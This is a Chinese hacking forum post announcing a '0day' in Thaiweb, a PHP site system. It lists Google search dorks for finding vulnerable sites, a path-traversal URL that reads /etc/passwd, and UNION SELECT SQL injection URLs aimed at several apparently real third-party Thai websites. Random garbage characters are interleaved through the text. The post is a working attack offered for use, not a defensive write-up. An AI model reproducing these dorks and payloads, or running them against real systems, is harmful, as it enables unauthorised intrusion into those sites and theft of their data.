找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2213|回复: 0
打印 上一主题 下一主题

Thaiweb远程文件sql注入漏洞0day

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-27 08:38:39 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Google之:
9 s% ^( |9 N* s/ P. \. U+ x1 L  _* L6 }' @& }# f( N4 n( f0 s
intext:powered by Thaiweb
& P6 t1 s) p5 k% b. H4 |' n9 ~3 w% C
inurl:index.php?page=board.php
" ~7 ^" f5 }5 b. y: r* e
% u0 @: P9 ?  [  A3 q  X" O . {: g. C3 w& A) F8 L8 _/ h, ~
& `( |8 _4 z) c" z1 ^
利用点1:http://www.xfack.com/index.php?p ... ../../../etc/passwd- k, E1 [8 ^* K+ P
- F( ^* s4 T, X0 x4 J
" a  |; o: z8 U9 E
9 a: I. E7 j) C% N
利用点2:http://www.xfack.com/index.php?page=boardque.php&bod_id=4'# C7 S9 o- X9 e+ u6 e
# E1 M! u$ ?3 V. f$ D

2 B6 c$ |" }1 N; E& T
, J2 Z- N, d1 X8 D7 ghttp://www.keytasin.com//index.p ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--$ s+ p# Z* J# j7 u% A8 b
$ ^$ }% k: @( t/ g% d" [; D2 s4 u
http://www.autopartnerthailand.c ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--
0 ?4 T+ i. ?$ p8 C - Q* c" l/ U* Q. l% _) Y0 r
http://gift.in.th/index.php?page ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--  H, X6 a( M* ], X
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表